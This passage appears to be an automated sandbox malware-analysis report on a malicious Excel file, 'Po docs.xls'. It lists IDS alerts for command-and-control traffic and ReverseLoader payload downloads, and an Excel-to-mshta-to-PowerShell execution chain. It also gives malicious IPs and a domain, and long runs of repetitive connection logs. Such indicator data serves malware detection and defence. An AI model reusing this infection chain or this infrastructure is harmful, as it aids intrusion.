2024-10-30T07:54:58.050613+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-30T07:54:59.161756+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-30T07:55:00.387616+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-30T07:55:01.484369+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-30T07:55:02.605268+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-30T07:55:03.720869+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-30T07:55:05.005930+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-30T07:55:06.090491+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-30T07:55:07.898649+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-30T07:55:10.868307+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-30T07:55:12.567039+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-30T07:55:13.703023+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49250	94.156.177.220	80	TCP

ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T07:52:53.836549+0100	2858295	1	A Network Trojan was detected	198.46.178.151	80	192.168.2.22	49175	TCP
2024-10-30T07:52:53.836549+0100	2858295	1	A Network Trojan was detected	198.46.178.151	80	192.168.2.22	49187	TCP

ETPRO MALWARE ReverseLoader Payload Request (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T07:53:08.524319+0100	2858795	1	A Network Trojan was detected	192.168.2.22	49165	198.46.178.151	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Machine Learning detection for sample

Source: Po docs.xls

Joe Sandbox ML: detected

Phishing

Yara detected HtmlPhish44

Source: Yara match

File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creatednewthingsforme[1].hta, type: DROPPED

Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.185.97:443 -> 192.168.2.22:49172 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.22:49173 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.185.97:443 -> 192.168.2.22:49174 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49169 version: TLS 1.2

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.pdbhP source: powershell.exe, 00000005.00000002.459817046.0000000003A22000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.pdb source: powershell.exe, 00000011.00000002.499011625.000000000279C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.pdb source: powershell.exe, 00000005.00000002.459817046.0000000003A22000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.pdbhP source: powershell.exe, 00000011.00000002.499011625.00000000027DE000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\mshta.exe

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic	DNS query: name: acesso.run
Source: global traffic	DNS query: name: acesso.run
Source: global traffic	DNS query: name: acesso.run
Source: global traffic	DNS query: name: acesso.run
Source: global traffic	DNS query: name: drive.google.com
Source: global traffic	DNS query: name: drive.usercontent.google.com
Source: global traffic	DNS query: name: drive.google.com
Source: global traffic	DNS query: name: drive.usercontent.google.com

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49187 -> 198.46.178.151:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 142.250.186.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 142.250.185.97:443
